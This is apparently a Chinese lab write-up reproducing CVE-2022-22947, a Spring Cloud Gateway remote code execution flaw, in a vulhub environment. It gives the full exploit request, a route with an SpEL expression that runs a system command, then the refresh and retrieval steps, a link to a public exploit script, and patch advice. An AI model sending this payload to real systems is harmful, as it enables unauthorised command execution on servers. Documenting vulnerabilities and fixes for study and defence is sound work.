CVE-2022-22947 远程代码执行漏洞 复现
1 漏洞信息
2 环境搭建
2.1 环境概述
-
Linux操作系统(vulhub)
2.2 搭建过程
进入到目标文件夹中拉取镜像
cd vulhub/spring/CVE-2022-22947 dpcler-compose up -d
{width=“5.758333333333334in” height=“1.6493055555555556in”}
访问成功
{width=“5.759722222222222in” height=“1.65in”}
3 漏洞复现
访问192.168.1.136:8080网页并且抓包,修改请求方式和如图所示的数据并且进行提交,即可添加一个包含恶意SpEL表达式的路由。
POST /actuator/gateway/routes/fuck Content-Type:application/json { "id": "fuck", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}" } }], "uri": "http://example.com" }
{width=“5.7555555555555555in” height=“2.9743055555555555in”}
添加完一个恶意的路由之后,我们需要对路由进行刷新,来达到恶意路由能够在路由上运行的目的。
POST /actuator/gateway/refresh HTTP/1.1
{width=“5.760416666666667in” height=“1.6527777777777777in”}
路由添加并且刷新之后,我们就可以发送数据包来查看我们添加恶意payload的执行结果了。(这里图片贴错了,但是结果是一样的)
192.168.1.136:8080/actuator/gateway/routes/fuck
{width=“5.759027777777778in” height=“2.3986111111111112in”}
除了自己手动外,我们还可以使用github上面的脚本来快速地进行进行漏洞的利用,下载地址:https://github.com/Axx8/CVE-2022-22947_Rce_Exp
{width=“5.759722222222222in” height=“0.8784722222222222in”}
简单分析下exp脚本
{width=“5.752083333333333in” height=“2.6125in”}
base64编码的内容
{width=“5.759027777777778in” height=“1.6152777777777778in”}
4 修复建议
1、3.1.x 版本用户应升级到 3.1.1以上的版本,3.0.x 版本用户应升级到3.0.7以上版本。
2、在不影响业务的前提下,通过将配置选项management.endpoint.gateway.enabled,设置为 false 禁用 gateway actuator endpoint。